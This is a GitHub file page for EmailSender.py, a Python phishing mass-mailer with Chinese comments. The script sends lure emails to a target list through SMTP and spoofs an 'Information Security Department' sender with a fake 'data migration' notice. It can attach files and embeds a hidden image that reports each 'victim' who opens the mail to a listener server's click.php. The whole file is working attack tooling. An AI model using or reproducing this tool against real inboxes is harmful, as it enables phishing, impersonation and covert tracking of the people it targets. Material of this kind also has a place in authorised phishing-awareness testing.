forked from A10ha/EmailSender
-
Notifications
You must be signed in to change notification settings - Fork 0
/
EmailSender.py
216 lines (182 loc) · 8.62 KB
/
EmailSender.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
import smtplib
import email
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.header import Header
from email.utils import formataddr
import time
import os
from datetime import datetime
cur_path = os.path.dirname(os.path.realpath(__file__)) # 当前项目路径
# cur_path = os.path.dirname(sys.executable) # 打包运行路径
log_path = cur_path + '\\logs' # log_path为存放日志的路径
if not os.path.exists(log_path): os.mkdir(log_path) # 若不存在logs文件夹,则自动创建
def File_Read(file_path):
global Lines
Lines = []
with open(file_path, 'r') as f:
while True:
line = f.readline() # 逐行读取
if not line: # 到 EOF,返回空字符串,则终止循环
break
File_Data(line, flag=1)
File_Data(line, flag=0)
def File_Data(line, flag):
global Lines
if flag == 1:
Lines.append(line)
else:
return Lines
class Log:
def __init__(self):
now_time = datetime.now().strftime('%Y-%m-%d')
self.__all_log_path = os.path.join(log_path, now_time + "-all" + ".log") # 收集所有日志信息文件
self.__error_log_path = os.path.join(log_path, now_time + "-error" + ".log") # 收集错误日志信息文件
self.__send_error_log_path = os.path.join(log_path, now_time + "-send_error" + ".log") # 收集发送失败邮箱信息文件
self.__send_done_log_path = os.path.join(log_path, now_time + "-send_done" + ".log") # 收集发送成功邮箱信息文件
def SaveAllLog(self, message):
with open(r"{}".format(self.__all_log_path), 'a+') as f:
f.write(message)
f.write("\n")
f.close()
def SaveErrorLog(self, message):
with open(r"{}".format(self.__error_log_path), 'a+') as f:
f.write(message)
f.write("\n")
f.close()
def SaveSendErrorLog(self, message):
with open(r"{}".format(self.__send_error_log_path), 'a+') as f:
f.write(message)
f.write("\n")
f.close()
def SaveSendDoneLog(self, message):
with open(r"{}".format(self.__send_done_log_path), 'a+') as f:
f.write(message)
f.write("\n")
f.close()
def tips(self, message):
now_time_detail = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(now_time_detail + ("\033[34m [TIPS]: {}\033[0m").format(message))
self.SaveAllLog(now_time_detail + (" [TIPS]: {}").format(message))
def info(self, message):
now_time_detail = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(now_time_detail + (" [INFO]: {}").format(message))
self.SaveAllLog(now_time_detail + (" [INFO]: {}").format(message))
def warning(self, message):
now_time_detail = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(now_time_detail + ("\033[33m [WARNING]: {}\033[0m").format(message))
self.SaveAllLog(now_time_detail + (" [WARNING]: {}").format(message))
def error(self, message):
now_time_detail = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(now_time_detail + ("\033[31m [ERROR]: {}\033[0m").format(message))
self.SaveAllLog(now_time_detail + (" [ERROR]: {}").format(message))
self.SaveErrorLog(now_time_detail + (" [ERROR]: {}").format(message))
def send_error(self, message):
self.SaveSendErrorLog(("{}").format(message))
def done(self, message):
now_time_detail = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(now_time_detail + ("\033[32m [DONE]: {}\033[0m").format(message))
self.SaveAllLog(now_time_detail + (" [DONE]: {}").format(message))
def send_done(self, message):
self.SaveSendDoneLog(("{}").format(message))
Log = Log()
Lines = []
class EmailSender:
def __init__(self, Subject, From, Content, smtp_user, smtp_passwd, smtp_server, Server=None, email_list=None,
file=None, sleep=0.5):
self.Subject = Subject
self.From = From
self.Content = Content
self.file = file
self.smtp_user = smtp_user
self.smtp_passwd = smtp_passwd
self.smtp_server = smtp_server
self.email_list = email_list
self.Server = Server
self.sleep = sleep
def Sender(self):
global Lines, client
if not os.path.exists(r"{}".format(self.email_list)):
Log.error('收件人列表文件未找到!')
return
File_Read(self.email_list) # 读取全部内容 ,并以列表方式返回
for line in Lines:
rcptto = []
rcptto.append(line.rstrip("\n"))
self.victim = line.split('@')[0]
# 显示的Cc收信地址
rcptcc = []
# Bcc收信地址,密送人不会显示在邮件上,但可以收到邮件
rcptbcc = []
# 全部收信地址,包含抄送地址,单次发送不能超过60人
receivers = rcptto + rcptcc + rcptbcc
# 参数判断
if self.Subject == None or self.Subject == "":
Log.error('邮件主题不存在!')
return
if self.smtp_user == None or self.smtp_user == "":
Log.error('SMTP账号不存在!')
return
if self.smtp_passwd == None or self.smtp_passwd == "":
Log.error('SMTP密码不存在!')
return
# 构建alternative结构
msg = MIMEMultipart('alternative')
msg['Subject'] = Header(self.Subject)
if self.From[0] == None or self.From[0] == '':
Log.error('发件人名称不存在!')
return
if self.From[1] == None or self.From[1] == '':
self.From[1] = self.smtp_user
msg['From'] = formataddr(self.From) # 昵称+发信地址(或代发)
# list转为字符串
msg['To'] = ",".join(rcptto)
msg['Cc'] = ",".join(rcptcc)
# 自定义的回信地址,与控制台设置的无关。邮件推送发信地址不收信,收信人回信时会自动跳转到设置好的回信地址。
# msg['Reply-to'] = replyto
msg['Message-id'] = email.utils.make_msgid()
msg['Date'] = email.utils.formatdate()
email_content = self.Content.replace("victim", "victim=" + self.victim)
# 加载远程图片以标记打开邮件的受害者
if self.Server != ':':
# Log.tips("监听地址: {}".format(self.Server))
listen_code = '<img src="http://' + self.Server + '/click.php?victim=' + self.victim + '" style="display:none;" border="0">'
else:
listen_code = ''
# 构建alternative的text/html部分
texthtml = MIMEText(
email_content + listen_code,
_subtype='html', _charset='UTF-8')
msg.attach(texthtml)
# 附件
if self.file != None and self.file != "":
files = [r'{}'.format(self.file)]
for t in files:
part_attach1 = MIMEApplication(open(t, 'rb').read()) # 打开附件
part_attach1.add_header('Content-Disposition', 'attachment', filename=t.rsplit('/', 1)[1]) # 为附件命名
msg.attach(part_attach1) # 添加附件
# 发送邮件
try:
client = smtplib.SMTP(self.smtp_server, 25)
client.login(self.smtp_user, self.smtp_passwd)
client.sendmail(self.smtp_user, receivers, msg.as_string()) # 支持多个收件人,最多60个
client.quit()
Log.done("{:<30}\t邮件发送成功!".format(rcptto[0]))
Log.send_done("{}".format(rcptto[0]))
time.sleep(self.sleep)
except Exception as e:
Log.error('邮件发送失败, {}'.format(e))
Log.send_error(rcptto[0])
if __name__ == '__main__':
mail_text_path = "./email/email.html" #邮件正文
mail_to_list = "./target/email.txt" #收件人列表
Log.tips("执行邮件正文读取操作!")
f = open(mail_text_path, "r", encoding='utf-8')
Log.done("邮件正文读取完成!")
body_text = f.read()
Log.tips("执行邮件发送操作!")
E = EmailSender("【重要】数据迁移的通知", ['信息安全部', '[email protected]'], body_text, "[email protected]", "pass",
"smtp.admin.com", "html.admin.com:8080", mail_to_list)
E.Sender()
Log.done("邮件发送完成!")